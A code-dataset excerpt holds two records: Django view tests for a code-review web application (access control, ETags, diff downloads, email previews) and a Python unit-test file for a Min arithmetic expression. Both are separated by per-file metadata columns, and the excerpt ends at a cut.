self._get_context_var(response, 'error')) print(self._get_context_var(response, 'trace')) self.assertEqual(response.status_code, 200) self.assertEqual( self._get_context_var(response, 'diff_context')['num_diffs'], 2) files = self._get_context_var(response, 'files') self.assertTrue(files) self.assertEqual(len(files), 1) self.assertEqual(files[0]['depot_filename'], '/newfile') self.assertIn('interfilediff', files[0]) def test_review_request_etag_with_issues(self): """Testing review request ETags with issue status toggling""" self.client.login(username='doc', password='doc') # Some objects we need. user = User.objects.get(username='doc') review_request = self.create_review_request(create_repository=True, publish=True) diffset = self.create_diffset(review_request) filediff = self.create_filediff(diffset) # Create a review. review = self.create_review(review_request, user=user) comment = self.create_diff_comment(review, filediff, issue_opened=True) review.publish() # Get the etag response = self.client.get(review_request.get_absolute_url()) self.assertEqual(response.status_code, 200) etag1 = response['ETag'] self.assertNotEqual(etag1, '') # Change the issue status comment.issue_status = Comment.RESOLVED comment.save() # Check the etag again response = self.client.get(review_request.get_absolute_url()) self.assertEqual(response.status_code, 200) etag2 = response['ETag'] self.assertNotEqual(etag2, '') # Make sure they're not equal self.assertNotEqual(etag1, etag2) # Bug #3384 def test_diff_raw_content_disposition_attachment(self): """Testing /diff/raw/ Content-Disposition: attachment; ...""" review_request = self.create_review_request(create_repository=True, publish=True) self.create_diffset(review_request=review_request) response = self.client.get('/r/%d/diff/raw/' % review_request.pk) self.assertEqual(response.status_code, 200) self.assertEqual(response['Content-Disposition'], 'attachment; filename=diffset') # Bug #3704 def test_diff_raw_multiple_content_disposition(self): """Testing /diff/raw/ multiple Content-Disposition issue""" review_request = self.create_review_request(create_repository=True, publish=True) # Create a diffset with a comma in its name. self.create_diffset(review_request=review_request, name='test, comma') response = self.client.get('/r/%d/diff/raw/' % review_request.pk) content_disposition = response['Content-Disposition'] filename = content_disposition[len('attachment; filename='):] self.assertFalse(',' in filename) # Bug #4080 def test_bug_url_with_custom_scheme(self): """Testing whether bug url with non-HTTP scheme loads correctly""" # Create a repository with a bug tracker that uses a non-standard # url scheme. repository = self.create_repository(public=True, bug_tracker='scheme://bugid=%s') review_request = self.create_review_request(repository=repository, publish=True) url = reverse('bug_url', args=(review_request.pk, '1')) response = self.client.get(url) # Test if we redirected to the correct url with correct bugID. self.assertEqual(response['Location'], 'scheme://bugid=1') def test_preview_review_request_email_access_with_debug(self): """Testing preview_review_request_email access with DEBUG=True""" review_request = self.create_review_request(publish=True) with self.settings(DEBUG=True): response = self.client.get( local_site_reverse( 'preview-review-request-email', kwargs={ 'review_request_id': review_request.pk, 'message_format': 'text', })) self.assertEqual(response.status_code, 200) def test_preview_review_request_email_access_without_debug(self): """Testing preview_review_request_email access with DEBUG=False""" review_request = self.create_review_request(publish=True) with self.settings(DEBUG=False): response = self.client.get( local_site_reverse( 'preview-review-request-email', kwargs={ 'review_request_id': review_request.pk, 'message_format': 'text', })) self.assertEqual(response.status_code, 404) def test_preview_review_request_email_with_valid_change_id(self): """Testing preview_review_request_email access with valid change ID""" review_request = self.create_review_request(create_repository=True, publish=True) self.create_diffset(review_request, draft=True) review_request.publish(review_request.submitter) with self.settings(DEBUG=True): response = self.client.get( local_site_reverse( 'preview-review-request-email', kwargs={ 'review_request_id': review_request.pk, 'message_format': 'text', 'changedesc_id': review_request.changedescs.get().pk, })) self.assertEqual(response.status_code, 200) def test_preview_review_request_email_with_invalid_change_id(self): """Testing preview_review_request_email access with invalid change ID """ review_request = self.create_review_request(create_repository=True, publish=True) self.create_diffset(review_request, draft=True) review_request.publish(review_request.submitter) with self.settings(DEBUG=True): response = self.client.get( local_site_reverse( 'preview-review-request-email', kwargs={ 'review_request_id': review_request.pk, 'message_format': 'text', 'changedesc_id': 100, })) self.assertEqual(response.status_code, 404) def test_preview_review_email_access_with_debug(self): """Testing preview_review_email access with DEBUG=True""" review_request = self.create_review_request(publish=True) review = self.create_review(review_request, publish=True) with self.settings(DEBUG=True): response = self.client.get( local_site_reverse( 'preview-review-email', kwargs={ 'review_request_id': review_request.pk, 'review_id': review.pk, 'message_format': 'text', })) self.assertEqual(response.status_code, 200) def test_preview_review_email_access_without_debug(self): """Testing preview_review_email access with DEBUG=False""" review_request = self.create_review_request(publish=True) review = self.create_review(review_request, publish=True) with self.settings(DEBUG=False): response = self.client.get( local_site_reverse( 'preview-review-email', kwargs={ 'review_request_id': review_request.pk, 'review_id': review.pk, 'message_format': 'text', })) self.assertEqual(response.status_code, 404) def test_preview_review_reply_email_access_with_debug(self): """Testing preview_review_reply_email access with DEBUG=True""" review_request = self.create_review_request(publish=True) review = self.create_review(review_request, publish=True) reply = self.create_reply(review, publish=True) with self.settings(DEBUG=True): response = self.client.get( local_site_reverse( 'preview-review-reply-email', kwargs={ 'review_request_id': review_request.pk, 'review_id': review.pk, 'reply_id': reply.pk, 'message_format': 'text', })) self.assertEqual(response.status_code, 200) def test_preview_review_reply_email_access_without_debug(self): """Testing preview_review_reply_email access with DEBUG=False""" review_request = self.create_review_request(publish=True) review = self.create_review(review_request, publish=True) reply = self.create_reply(review, publish=True) with self.settings(DEBUG=False): response = self.client.get( local_site_reverse( 'preview-review-reply-email', kwargs={ 'review_request_id': review_request.pk, 'review_id': review.pk, 'reply_id': reply.pk, 'message_format': 'text', })) self.assertEqual(response.status_code, 404) def test_view_screenshot_access_with_valid_id(self): """Testing view_screenshot access with valid screenshot for review request """ review_request = self.create_review_request(publish=True) screenshot = self.create_screenshot(review_request) response = self.client.get( local_site_reverse( 'screenshot', kwargs={ 'review_request_id': review_request.pk, 'screenshot_id': screenshot.pk, })) self.assertEqual(response.status_code, 200) def test_view_screenshot_access_with_valid_id_and_draft(self): """Testing view_screenshot access with valid screenshot for review request draft """ review_request = self.create_review_request(publish=True) screenshot = self.create_screenshot(review_request, draft=True) # Log in so that we can check against the draft. username = review_request.submitter.username self.client.login(username=username, password=username) response = self.client.get( local_site_reverse( 'screenshot', kwargs={ 'review_request_id': review_request.pk, 'screenshot_id': screenshot.pk, })) self.assertEqual(response.status_code, 200) def test_view_screenshot_access_with_valid_inactive_id(self): """Testing view_screenshot access with valid inactive screenshot for review request """ review_request = self.create_review_request(publish=True) screenshot = self.create_screenshot(review_request, active=False) response = self.client.get( local_site_reverse( 'screenshot', kwargs={ 'review_request_id': review_request.pk, 'screenshot_id': screenshot.pk, })) self.assertEqual(response.status_code, 200) def test_view_screenshot_access_with_valid_inactive_id_and_draft(self): """Testing view_screenshot access with valid inactive screenshot for review request draft """ review_request = self.create_review_request(publish=True) screenshot = self.create_screenshot(review_request, draft=True, active=False) # Log in so that we can check against the draft. username = review_request.submitter.username self.client.login(username=username, password=username) response = self.client.get( local_site_reverse( 'screenshot', kwargs={ 'review_request_id': review_request.pk, 'screenshot_id': screenshot.pk, })) self.assertEqual(response.status_code, 200) def test_view_screenshot_access_with_invalid_id(self): """Testing view_screenshot access with invalid screenshot for review request """ review_request = self.create_review_request(publish=True) screenshot = self.create_screenshot(review_request) review_request2 = self.create_review_request(publish=True) response = self.client.get( local_site_reverse( 'screenshot', kwargs={ 'review_request_id': review_request2.pk, 'screenshot_id': screenshot.pk, })) self.assertEqual(response.status_code, 404) def test_view_screenshot_access_with_invalid_id_and_draft(self): """Testing view_screenshot access with invalid screenshot for review request draft """ review_request = self.create_review_request(publish=True) screenshot = self.create_screenshot(review_request, draft=True) review_request2 = self.create_review_request(publish=True) # Log in so that we can check against the draft. username = review_request.submitter.username self.client.login(username=username, password=username) response = self.client.get( local_site_reverse( 'screenshot', kwargs={ 'review_request_id': review_request2.pk, 'screenshot_id': screenshot.pk, })) self.assertEqual(response.status_code, 404) def test_view_screenshot_access_with_invalid_inactive_id(self): """Testing view_screenshot access with invalid inactive screenshot for review request """ review_request = self.create_review_request(publish=True) screenshot = self.create_screenshot(review_request, active=False) review_request2 = self.create_review_request(publish=True) response = self.client.get( local_site_reverse( 'screenshot', kwargs={ 'review_request_id': review_request2.pk, 'screenshot_id': screenshot.pk, })) self.assertEqual(response.status_code, 404) def test_view_screenshot_access_with_invalid_inactive_id_and_draft(self): """Testing view_screenshot access with invalid inactive screenshot for review request draft """ review_request = self.create_review_request(publish=True) screenshot = self.create_screenshot(review_request, draft=True, active=False) review_request2 = self.create_review_request(publish=True) # Log in so that we can check against the draft. username = review_request.submitter.username self.client.login(username=username, password=username) response = self.client.get( local_site_reverse( 'screenshot', kwargs={ 'review_request_id': review_request2.pk, 'screenshot_id': screenshot.pk, })) self.assertEqual(response.status_code, 404) def test_review_file_attachment_access_with_valid_id(self): """Testing review_file_attachment access with valid attachment for review request """ review_request = self.create_review_request(publish=True) attachment = self.create_file_attachment(review_request) response = self.client.get( local_site_reverse( 'file-attachment', kwargs={ 'review_request_id': review_request.pk, 'file_attachment_id': attachment.pk, })) self.assertEqual(response.status_code, 200) def test_review_file_attachment_access_with_valid_id_and_draft(self): """Testing review_file_attachment access with valid attachment for review request draft """ review_request = self.create_review_request(publish=True) attachment = self.create_file_attachment(review_request, draft=True) # Log in so that we can check against the draft. username = review_request.submitter.username self.client.login(username=username, password=username) response = self.client.get( local_site_reverse( 'file-attachment', kwargs={ 'review_request_id': review_request.pk, 'file_attachment_id': attachment.pk, })) self.assertEqual(response.status_code, 200) def test_review_file_attachment_access_with_invalid_id(self): """Testing review_file_attachment access with invalid attachment for review request """ review_request = self.create_review_request(publish=True) attachment = self.create_file_attachment(review_request) review_request2 = self.create_review_request(publish=True) response = self.client.get( local_site_reverse( 'file-attachment', kwargs={ 'review_request_id': review_request2.pk, 'file_attachment_id': attachment.pk, })) self.assertEqual(response.status_code, 404) def test_review_file_attachment_access_with_invalid_id_and_draft(self): """Testing review_file_attachment access with invalid attachment for review request draft """ review_request = self.create_review_request(publish=True) attachment = self.create_file_attachment(review_request, draft=True) review_request2 = self.create_review_request(publish=True) # Log in so that we can check against the draft. username = review_request.submitter.username self.client.login(username=username, password=username) response = self.client.get( local_site_reverse( 'file-attachment', kwargs={ 'review_request_id': review_request2.pk, 'file_attachment_id': attachment.pk, })) self.assertEqual(response.status_code, 404) def test_review_file_attachment_access_with_valid_inactive_id(self): """Testing review_file_attachment access with valid inactive attachment for review request """ review_request = self.create_review_request(publish=True) attachment = self.create_file_attachment(review_request, active=False) response = self.client.get( local_site_reverse( 'file-attachment', kwargs={ 'review_request_id': review_request.pk, 'file_attachment_id': attachment.pk, })) self.assertEqual(response.status_code, 200) def test_review_file_attachment_access_with_valid_inactive_id_draft(self): """Testing review_file_attachment access with valid inactive attachment for review request draft """ review_request = self.create_review_request(publish=True) attachment = self.create_file_attachment(review_request, draft=True, active=False) # Log in so that we can check against the draft. username = review_request.submitter.username self.client.login(username=username, password=username) response = self.client.get( local_site_reverse( 'file-attachment', kwargs={ 'review_request_id': review_request.pk, 'file_attachment_id': attachment.pk, })) self.assertEqual(response.status_code, 200) def test_review_file_attachment_access_with_invalid_inactive_id(self): """Testing review_file_attachment access with invalid inactive attachment for review request """ review_request = self.create_review_request(publish=True) attachment = self.create_file_attachment(review_request, active=False) review_request2 = self.create_review_request(publish=True) response = self.client.get( local_site_reverse( 'file-attachment', kwargs={ 'review_request_id': review_request2.pk, 'file_attachment_id': attachment.pk, })) self.assertEqual(response.status_code, 404) def test_review_file_attachment_access_invalid_inactive_id_draft(self): """Testing review_file_attachment access with invalid inactive attachment for review request draft """ review_request = self.create_review_request(publish=True) attachment = self.create_file_attachment(review_request, draft=True, active=False) review_request2 = self.create_review_request(publish=True) # Log in so that we can check against the draft. username = review_request.submitter.username self.client.login(username=username, password=username) response = self.client.get( local_site_reverse( 'file-attachment', kwargs={ 'review_request_id': review_request2.pk, 'file_attachment_id': attachment.pk, })) self.assertEqual(response.status_code, 404) def test_review_file_attachment_access_with_valid_diff_against_id(self): """Testing review_file_attachment access with valid diff-against attachment for review request """ review_request = self.create_review_request(publish=True) attachment = self.create_file_attachment(review_request) attachment2 = self.create_file_attachment(review_request) response = self.client.get( local_site_reverse( 'file-attachment', kwargs={ 'review_request_id': review_request.pk, 'file_attachment_id': attachment.pk, 'file_attachment_diff_id': attachment2.pk, })) self.assertEqual(response.status_code, 200) def test_review_file_attachment_access_valid_diff_against_id_draft(self): """Testing review_file_attachment access with valid diff-against attachment for review request draft """ review_request = self.create_review_request(publish=True) attachment = self.create_file_attachment(review_request) attachment2 = self.create_file_attachment(review_request, draft=True) # Log in so that we can check against the draft. username = review_request.submitter.username self.client.login(username=username, password=username) response = self.client.get( local_site_reverse( 'file-attachment', kwargs={ 'review_request_id': review_request.pk, 'file_attachment_id': attachment.pk, 'file_attachment_diff_id': attachment2.pk, })) self.assertEqual(response.status_code, 200) def test_review_file_attachment_access_with_invalid_diff_against_id(self): """Testing review_file_attachment access with invalid diff-against attachment for review request """ review_request = self.create_review_request(publish=True) attachment = self.create_file_attachment(review_request) review_request2 = self.create_review_request(publish=True) attachment2 = self.create_file_attachment(review_request2) response = self.client.get( local_site_reverse( 'file-attachment', kwargs={ 'review_request_id': review_request.pk, 'file_attachment_id': attachment.pk, 'file_attachment_diff_id': attachment2.pk, })) self.assertEqual(response.status_code, 404) def test_review_file_attachment_access_invalid_diff_against_id_draft(self): """Testing review_file_attachment access with invalid diff-against attachment for review request draft """ review_request = self.create_review_request(publish=True) attachment = self.create_file_attachment(review_request) review_request2 = self.create_review_request(publish=True) attachment2 = self.create_file_attachment(review_request2, draft=True) # Log in so that we can check against the draft. username = review_request.submitter.username self.client.login(username=username, password=username) response = self.client.get( local_site_reverse( 'file-attachment', kwargs={ 'review_request_id': review_request.pk, 'file_attachment_id': attachment.pk, 'file_attachment_diff_id': attachment2.pk, })) self.assertEqual(response.status_code, 404) def _get_context_var(self, response, varname): for context in response.context: if varname in context: return context[varname] return None class CommentDiffFragmentsViewTests(TestCase): """Unit tests for the comment_diff_fragments view.""" fixtures = ['test_users', 'test_scmtools'] def test_get_with_unpublished_review_request_not_owner(self): """Testing comment_diff_fragments with unpublished review request and user is not the owner """ user = User.objects.create(username='reviewer') review_request = self.create_review_request(create_repository=True) diffset = self.create_diffset(review_request) filediff = self.create_filediff(diffset) review = self.create_review(review_request, user=user) comment1 = self.create_diff_comment(review, filediff) comment2 = self.create_diff_comment(review, filediff) review.publish() response = self.client.get( '/r/%d/fragments/diff-comments/%d,%d/' % (review_request.pk, comment1.pk, comment2.pk)) self.assertEqual(response.status_code, 403) def test_get_with_unpublished_review_request_owner(self): """Testing comment_diff_fragments with unpublished review request and user is the owner """ user = User.objects.create_user(username='test-user', password='test-user') review_request = self.create_review_request(create_repository=True, submitter=user) diffset = self.create_diffset(review_request) filediff = self.create_filediff(diffset) review = self.create_review(review_request, user=user) comment1 = self.create_diff_comment(review, filediff) comment2 = self.create_diff_comment(review, filediff) review.publish() self.assertTrue(self.client.login(username='test-user', password='test-user')) response = self.client.get( '/r/%d/fragments/diff-comments/%d,%d/' % (review_request.pk, comment1.pk, comment2.pk)) self.assertEqual(response.status_code, 200) self.assertEqual(len(response.context['comment_entries']), 2) self.assertEqual(response.context['comment_entries'][0]['comment'], comment1) self.assertEqual(response.context['comment_entries'][1]['comment'], comment2) @add_fixtures(['test_site']) def test_get_with_published_review_request_local_site_access(self): """Testing comment_diff_fragments with published review request on a Local Site the user has access to """ user = User.objects.create_user(username='test-user', password='test-user') review_request = self.create_review_request(create_repository=True, with_local_site=True, publish=True) diffset = self.create_diffset(review_request) filediff = self.create_filediff(diffset) review = self.create_review(review_request) comment1 = self.create_diff_comment(review, filediff) comment2 = self.create_diff_comment(review, filediff) review.publish() review_request.local_site.users.add(user) self.assertTrue(self.client.login(username='test-user', password='test-user')) response = self.client.get( '/s/local-site-1/r/%d/fragments/diff-comments/%d,%d/' % (review_request.display_id, comment1.pk, comment2.pk)) self.assertEqual(response.status_code, 200) self.assertEqual(len(response.context['comment_entries']), 2) self.assertEqual(response.context['comment_entries'][0]['comment'], comment1) self.assertEqual(response.context['comment_entries'][1]['comment'], comment2) @add_fixtures(['test_site']) def test_get_with_published_review_request_local_site_no_access(self): """Testing comment_diff_fragments with published review request on a Local Site the user does not have access to """ User.objects.create_user(username='test-user', password='test-user') review_request = self.create_review_request(create_repository=True, with_local_site=True, publish=True) diffset = self.create_diffset(review_request) filediff = self.create_filediff(diffset) review = self.create_review(review_request) comment1 = self.create_diff_comment(review, filediff) comment2 = self.create_diff_comment(review, filediff) review.publish() self.assertTrue(self.client.login(username='test-user', password='test-user')) response = self.client.get( '/s/local-site-1/r/%d/fragments/diff-comments/%d,%d/' % (review_request.display_id, comment1.pk, comment2.pk)) self.assertEqual(response.status_code, 403) def test_get_with_valid_comment_ids(self): """Testing comment_diff_fragments with valid comment ID""" user = User.objects.create(username='reviewer') review_request = self.create_review_request(create_repository=True, publish=True) diffset = self.create_diffset(review_request) filediff = self.create_filediff(diffset) review = self.create_review(review_request, user=user) comment1 = self.create_diff_comment(review, filediff) comment2 = self.create_diff_comment(review, filediff) review.publish() response = self.client.get( '/r/%d/fragments/diff-comments/%d,%d/' % (review_request.pk, comment1.pk, comment2.pk)) self.assertEqual(response.status_code, 200) self.assertEqual(len(response.context['comment_entries']), 2) self.assertEqual(response.context['comment_entries'][0]['comment'], comment1) self.assertEqual(response.context['comment_entries'][1]['comment'], comment2) def test_get_with_valid_and_invalid_comment_ids(self): """Testing comment_diff_fragments with mix of valid comment IDs and comment IDs not found in database """ user = User.objects.create(username='reviewer') review_request = self.create_review_request(create_repository=True, publish=True) diffset = self.create_diffset(review_request) filediff = self.create_filediff(diffset) review = self.create_review(review_request, user=user) comment = self.create_diff_comment(review, filediff) review.publish() response = self.client.get( '/r/%d/fragments/diff-comments/999,%d/' % (review_request.pk, comment.pk)) self.assertEqual(response.status_code, 200) self.assertEqual(len(response.context['comment_entries']), 1) self.assertEqual(response.context['comment_entries'][0]['comment'], comment) def test_get_with_no_valid_comment_ids(self): """Testing comment_diff_fragments with no valid comment IDs""" review_request = self.create_review_request(create_repository=True, publish=True) response = self.client.get( '/r/%d/fragments/diff-comments/100,200,300/' % review_request.pk) self.assertEqual(response.status_code, 404) def test_get_with_comment_ids_from_other_review_request(self): """Testing comment_diff_fragments with comment ID from another review request """ user = User.objects.create(username='reviewer') # Create the first review request and review. review_request1 = self.create_review_request(create_repository=True, publish=True) diffset = self.create_diffset(review_request1) filediff = self.create_filediff(diffset) review = self.create_review(review_request1, user=user) comment1 = self.create_diff_comment(review, filediff) review.publish() # Create the second review request and review. review_request2 = self.create_review_request(create_repository=True, publish=True) diffset = self.create_diffset(review_request2) filediff = self.create_filediff(diffset) review = self.create_review(review_request2, user=user) comment2 = self.create_diff_comment(review, filediff) review.publish() response = self.client.get( '/r/%d/fragments/diff-comments/%d,%d/' % (review_request1.pk, comment1.pk, comment2.pk)) self.assertEqual(response.status_code, 200) self.assertEqual(len(response.context['comment_entries']), 1) self.assertEqual(response.context['comment_entries'][0]['comment'], comment1) def test_get_with_comment_ids_from_draft_review_owner(self): """Testing comment_diff_fragments with comment ID from draft review, accessed by the review's owner """ user = User.objects.create_user(username='reviewer', password='reviewer') review_request1 = self.create_review_request(create_repository=True, publish=True) diffset = self.create_diffset(review_request1) filediff = self.create_filediff(diffset) review = self.create_review(review_request1, user=user) comment = self.create_diff_comment(review, filediff) self.assertTrue(self.client.login(username='reviewer', password='reviewer')) response = self.client.get( '/r/%d/fragments/diff-comments/%d/' % (review_request1.pk, comment.pk)) self.assertEqual(response.status_code, 200) self.assertEqual(len(response.context['comment_entries']), 1) self.assertEqual(response.context['comment_entries'][0]['comment'], comment) def test_get_with_comment_ids_from_draft_review_not_owner(self): """Testing comment_diff_fragments with comment ID from draft review, accessed by someone other than the review's owner """ user = User.objects.create(username='reviewer') review_request1 = self.create_review_request(create_repository=True, publish=True) diffset = self.create_diffset(review_request1) filediff = self.create_filediff(diffset) review = self.create_review(review_request1, user=user) comment = self.create_diff_comment(review, filediff) response = self.client.get( '/r/%d/fragments/diff-comments/%d/' % (review_request1.pk, comment.pk)) self.assertEqual(response.status_code, 404) class DownloadFileTests(TestCase): """Tests for the download_*_file views.""" fixtures = ['test_users', 'test_scmtools'] @classmethod def setUpClass(cls): super(DownloadFileTests, cls).setUpClass() register_hosting_service(TestService.name, TestService) @classmethod def tearDownClass(cls): super(DownloadFileTests, cls).tearDownClass() unregister_hosting_service(TestService.name) def setUp(self): super(DownloadFileTests, self).setUp() self.account = HostingServiceAccount.objects.create( service_name=TestService.name, hosting_url='http://example.com/', username='foo') self.repository = self.create_repository(hosting_account=self.account) self.review_request = self.create_review_request( repository=self.repository, publish=True) self.diffset = self.create_diffset(review_request=self.review_request) self.filediff = self.create_filediff(self.diffset, source_file='/invalid-path', dest_file='/invalid-path') def testing_download_orig_file_404(self): """Testing download_orig_file when the file cannot be found upstream""" rsp = self.client.get( local_site_reverse('download-orig-file', kwargs={ 'review_request_id': self.review_request.display_id, 'revision': self.diffset.revision, 'filediff_id': self.filediff.pk, })) self.assertEquals(rsp.status_code, 404) def testing_download_modified_file_404(self): """Testing download_modified_file when the file cannot be found upstream """ rsp = self.client.get( local_site_reverse('download-modified-file', kwargs={ 'review_request_id': self.review_request.display_id, 'revision': self.diffset.revision, 'filediff_id': self.filediff.pk, })) self.assertEquals(rsp.status_code, 404) class UserInfoboxTests(TestCase): def test_unicode(self): """Testing user_infobox with a user with non-ascii characters""" user = User.objects.create_user('test', 'test@example.com') user.first_name = 'Test\u21b9' user.last_name = 'User\u2729' user.save() self.client.get(local_site_reverse('user-infobox', args=['test']))
40.792112
79
0.601344
6,520
61,025
5.394939
0.057975
0.118635
0.036389
0.041194
0.862033
0.841535
0.832893
0.81032
0.793376
0.775267
0
0.017596
0.306186
61,025
1,495
80
40.819398
0.813179
0.105072
0
0.774133
0
0.001874
0.104624
0.013894
0
0
0
0
0.125586
1
0.05717
false
0.021556
0.022493
0
0.088097
0.003749
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
20d678e47a33b8d683c196926a71e7d69b000001
16,728
py
Python
test/testsArithmeticExpressions/testMin.py
mouton5000/DiscreteEventApplicationEditor
4a4272fd9b0a7f3f228fee1e9e7b351e4a21cd33
[ "MIT" ]
null
null
null
test/testsArithmeticExpressions/testMin.py
mouton5000/DiscreteEventApplicationEditor
4a4272fd9b0a7f3f228fee1e9e7b351e4a21cd33
[ "MIT" ]
null
null
null
test/testsArithmeticExpressions/testMin.py
mouton5000/DiscreteEventApplicationEditor
4a4272fd9b0a7f3f228fee1e9e7b351e4a21cd33
[ "MIT" ]
null
null
null
__author__ = 'mouton' from triggerExpressions import Evaluation from unittest import TestCase from math import pi, sqrt from arithmeticExpressions import ALitteral, Min, UndefinedLitteral, SelfLitteral from database import Variable class TestMin(TestCase): @classmethod def setUpClass(cls): import grammar.grammars grammar.grammars.compileGrammars() def setUp(self): self.eval1 = Evaluation() self.eval2 = Evaluation() self.eval2[Variable('X')] = 1 self.eval2[Variable('T')] = 'abc' self.eval2[Variable('Z')] = 12.0 def test_integers_min_with_empty_evaluation(self): a1 = ALitteral(10) a2 = ALitteral(20) expr = Min(a1, a2) self.assertEqual(expr.value(self.eval1), 10) def test_integers_min_with_non_empty_evaluation(self): a1 = ALitteral(10) a2 = ALitteral(20) expr = Min(a1, a2) self.assertEqual(expr.value(self.eval2), 10) def test_strings_min_with_empty_evaluation(self): a1 = ALitteral('abc') a2 = ALitteral('def') expr = Min(a1, a2) self.assertEqual(expr.value(self.eval1), 'abc') def test_strings_min_with_non_empty_evaluation(self): a1 = ALitteral('abc') a2 = ALitteral('def') expr = Min(a1, a2) self.assertEqual(expr.value(self.eval2), 'abc') def test_floats_min_with_empty_evaluation(self): a1 = ALitteral(pi) a2 = ALitteral(sqrt(2)) expr = Min(a1, a2) self.assertEqual(expr.value(self.eval1), sqrt(2)) def test_floats_min_with_non_empty_evaluation(self): a1 = ALitteral(pi) a2 = ALitteral(sqrt(2)) expr = Min(a1, a2) self.assertEqual(expr.value(self.eval2), sqrt(2)) def test_integer_string_min_with_empty_evaluation(self): a1 = ALitteral(10) a2 = ALitteral('def') expr = Min(a1, a2) self.assertEqual(expr.value(self.eval1), 10) def test_integer_string_min_with_non_empty_evaluation(self): a1 = ALitteral(10) a2 = ALitteral('def') expr = Min(a1, a2) self.assertEqual(expr.value(self.eval2), 10) def test_string_integer_min_with_empty_evaluation(self): a1 = ALitteral('abc') a2 = ALitteral(20) expr = Min(a1, a2) self.assertEqual(expr.value(self.eval1), 20) def test_string_integer_min_with_non_empty_evaluation(self): a1 = ALitteral('abc') a2 = ALitteral(20) expr = Min(a1, a2) self.assertEqual(expr.value(self.eval2), 20) def test_integer_float_min_with_empty_evaluation(self): a1 = ALitteral(10) a2 = ALitteral(sqrt(2)) expr = Min(a1, a2) self.assertEqual(expr.value(self.eval1), sqrt(2)) def test_integer_float_min_with_non_empty_evaluation(self): a1 = ALitteral(10) a2 = ALitteral(sqrt(2)) expr = Min(a1, a2) self.assertEqual(expr.value(self.eval2), sqrt(2)) def test_float_integer_min_with_empty_evaluation(self): a1 = ALitteral(pi) a2 = ALitteral(20) expr = Min(a1, a2) self.assertEqual(expr.value(self.eval1), pi) def test_float_integer_min_with_non_empty_evaluation(self): a1 = ALitteral(pi) a2 = ALitteral(20) expr = Min(a1, a2) self.assertEqual(expr.value(self.eval2), pi) def test_string_float_min_with_empty_evaluation(self): a1 = ALitteral('abc') a2 = ALitteral(sqrt(2)) expr = Min(a1, a2) self.assertEqual(expr.value(self.eval1), sqrt(2)) def test_string_float_min_with_non_empty_evaluation(self): a1 = ALitteral('abc') a2 = ALitteral(sqrt(2)) expr = Min(a1, a2) self.assertEqual(expr.value(self.eval2), sqrt(2)) def test_float_string_min_with_empty_evaluation(self): a1 = ALitteral(pi) a2 = ALitteral('def') expr = Min(a1, a2) self.assertEqual(expr.value(self.eval1), pi) def test_float_string_min_with_non_empty_evaluation(self): a1 = ALitteral(pi) a2 = ALitteral('def') expr = Min(a1, a2) self.assertEqual(expr.value(self.eval2), pi) def test_integer_undefined_min_with_empty_evaluation(self): a1 = ALitteral(10) a2 = UndefinedLitteral() expr = Min(a1, a2) with self.assertRaises(TypeError): expr.value(self.eval1) def test_integer_undefined_min_with_non_empty_evaluation(self): a1 = ALitteral(10) a2 = UndefinedLitteral() expr = Min(a1, a2) with self.assertRaises(TypeError): expr.value(self.eval2) def test_undefined_integer_min_with_empty_evaluation(self): a1 = UndefinedLitteral() a2 = ALitteral(20) expr = Min(a1, a2) with self.assertRaises(TypeError): expr.value(self.eval1) def test_undefined_integer_min_with_non_empty_evaluation(self): a1 = UndefinedLitteral() a2 = ALitteral(20) expr = Min(a1, a2) with self.assertRaises(TypeError): expr.value(self.eval2) def test_string_undefined_min_with_empty_evaluation(self): a1 = ALitteral('abc') a2 = UndefinedLitteral() expr = Min(a1, a2) with self.assertRaises(TypeError): expr.value(self.eval1) def test_string_undefined_min_with_non_empty_evaluation(self): a1 = ALitteral('abc') a2 = UndefinedLitteral() expr = Min(a1, a2) with self.assertRaises(TypeError): expr.value(self.eval2) def test_undefined_string_min_with_empty_evaluation(self): a1 = UndefinedLitteral() a2 = ALitteral('def') expr = Min(a1, a2) with self.assertRaises(TypeError): expr.value(self.eval1) def test_undefined_string_min_with_non_empty_evaluation(self): a1 = UndefinedLitteral() a2 = ALitteral('def') expr = Min(a1, a2) with self.assertRaises(TypeError): expr.value(self.eval2) def test_float_undefined_min_with_empty_evaluation(self): a1 = ALitteral(pi) a2 = UndefinedLitteral() expr = Min(a1, a2) with self.assertRaises(TypeError): expr.value(self.eval1) def test_float_undefined_min_with_non_empty_evaluation(self): a1 = ALitteral(pi) a2 = UndefinedLitteral() expr = Min(a1, a2) with self.assertRaises(TypeError): expr.value(self.eval2) def test_undefined_float_min_with_empty_evaluation(self): a1 = UndefinedLitteral() a2 = ALitteral(sqrt(2)) expr = Min(a1, a2) with self.assertRaises(TypeError): expr.value(self.eval1) def test_undefined_float_min_with_non_empty_evaluation(self): a1 = UndefinedLitteral() a2 = ALitteral(sqrt(2)) expr = Min(a1, a2) with self.assertRaises(TypeError): expr.value(self.eval2) def test_undefined_undefined_min_with_empty_evaluation(self): a1 = UndefinedLitteral() a2 = UndefinedLitteral() expr = Min(a1, a2) with self.assertRaises(TypeError): expr.value(self.eval1) def test_undefined_undefined_min_with_non_empty_evaluation(self): a1 = UndefinedLitteral() a2 = UndefinedLitteral() expr = Min(a1, a2) with self.assertRaises(TypeError): expr.value(self.eval2) def test_integer_evaluated_variable_min(self): a1 = ALitteral(10) a2 = ALitteral(Variable('X')) expr = Min(a1, a2) self.assertEqual(expr.value(self.eval2), 1) def test_evaluated_variable_integer_min(self): a1 = ALitteral(Variable('X')) a2 = ALitteral(20) expr = Min(a1, a2) self.assertEqual(expr.value(self.eval2), 1) def test_string_evaluated_variable_min(self): a1 = ALitteral('abc') a2 = ALitteral(Variable('X')) expr = Min(a1, a2) self.assertEqual(expr.value(self.eval2), 1) def test_evaluated_variable_string_min(self): a1 = ALitteral(Variable('X')) a2 = ALitteral('def') expr = Min(a1, a2) self.assertEqual(expr.value(self.eval2), 1) def test_float_evaluated_variable_min(self): a1 = ALitteral(pi) a2 = ALitteral(Variable('X')) expr = Min(a1, a2) self.assertEqual(expr.value(self.eval2), 1) def test_evaluated_variable_float_min(self): a1 = ALitteral(Variable('X')) a2 = ALitteral(sqrt(2)) expr = Min(a1, a2) self.assertEqual(expr.value(self.eval2), 1) def test_evaluated_variable_evaluated_variable_min(self): a1 = ALitteral(Variable('X')) a2 = ALitteral(Variable('X')) expr = Min(a1, a2) self.assertEqual(expr.value(self.eval2), 1) def test_evaluated_variable_undefined_subtraction(self): a1 = ALitteral(Variable('X')) a2 = UndefinedLitteral() expr = 